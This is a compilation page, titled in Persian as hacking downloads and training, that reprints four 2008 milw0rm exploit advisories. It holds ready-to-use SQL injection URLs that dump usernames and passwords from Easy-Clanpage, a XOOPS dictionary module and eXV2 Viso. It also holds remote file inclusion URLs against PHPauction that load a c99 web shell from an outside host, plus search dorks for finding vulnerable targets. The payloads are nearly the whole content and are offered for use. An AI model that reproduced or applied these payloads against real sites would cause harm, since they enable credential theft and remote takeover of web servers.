دانلود و آموزش هک

.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

 ~ Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability ~

.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

[+] Author: n3w7u

[+] Mail: n3w7u@gmx.net

[+] Source: http://easy-clanpage.de/?section=downloads&show=viewdownload&id=14

[+] Dork: "Easy-Clanpage v2.2"

.-=--=--=--=--=--=--=--=--=--=--=-.

[+] Vuln File: /modules/gallery/index.php

[+] Exploit: http://[host]/[path]/?section=gallery&action=kate&id=

[+] Example -1/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7/**/from/**/ecp_user/**/where/**/userid=1/*

# milw0rm.com [2008-03-18]

# Name : PHPauction GPL 2.51 Multiple Remote File Include Vulnerabilities

# Download From : http://www.johnrayfield.com/phpauction/phpauction-gpl-enhanced-251.zip

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , alwheed )        

# Home Page :  WwW.4RxH.CoM              

+============================================================================+

# Vulne Codes In Files converter.inc.php & messages.inc.php & settings.inc.php In Differnet Lines

# Exploits :

http://4RxH.CoM/auction/includes/converter.inc.php?include_path=http://rxh.freehostia.com/shells/c99in.txt?

http://4RxH.CoM/auction/includes/messages.inc.php?include_path=http://rxh.freehostia.com/shells/c99in.txt?

http://4RxH.CoM/auction/includes/settings.inc.php?include_path=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+============================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum

# For Contact : RxH@HotMail.iT

# Note : Yesterday I Help You !! Tomorrow Fuck Me !!! Fuck All Snitches !!! But Do You Know What !!! That,s Is My Mistake

RxH

Best Wishes

# milw0rm.com [2008-03-17]

##########################################
#
# XOOPS Module dictionary(0.94-0.91-0.70)SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAİL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "modules/dictionary"
#
# DORK 2 : allinurl: "modules/dictionary/print.php?id"
#
###########################################
EXPLOIT :

modules/dictionary/print.php?id=-9999999/**/union/**/select/**/concat(uname,0x3a,pass),concat(uname,0x3a,pass)/**/from/**/xoops_users/*
###########################################
Dictionary Version 0.94 by nagl.ch
Dictionary Version 0.91 by nagl.ch
Dictionary Version 0.70 by nagl.ch
###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-17]

##########################################
#
# Powered by eXV2 Viso 2.03 SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAİL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"modules/viso"
#
###########################################
EXPLOIT 1 :

modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201

EXPLOIT 2 :

modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass,pass/**/from/**/exv2_users/*where%20exv2_admin%201

###########################################
Viso 2.03
Submit date: 2006/8/10
Homepage: www.exv2.de
Version : 2.03
###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-14]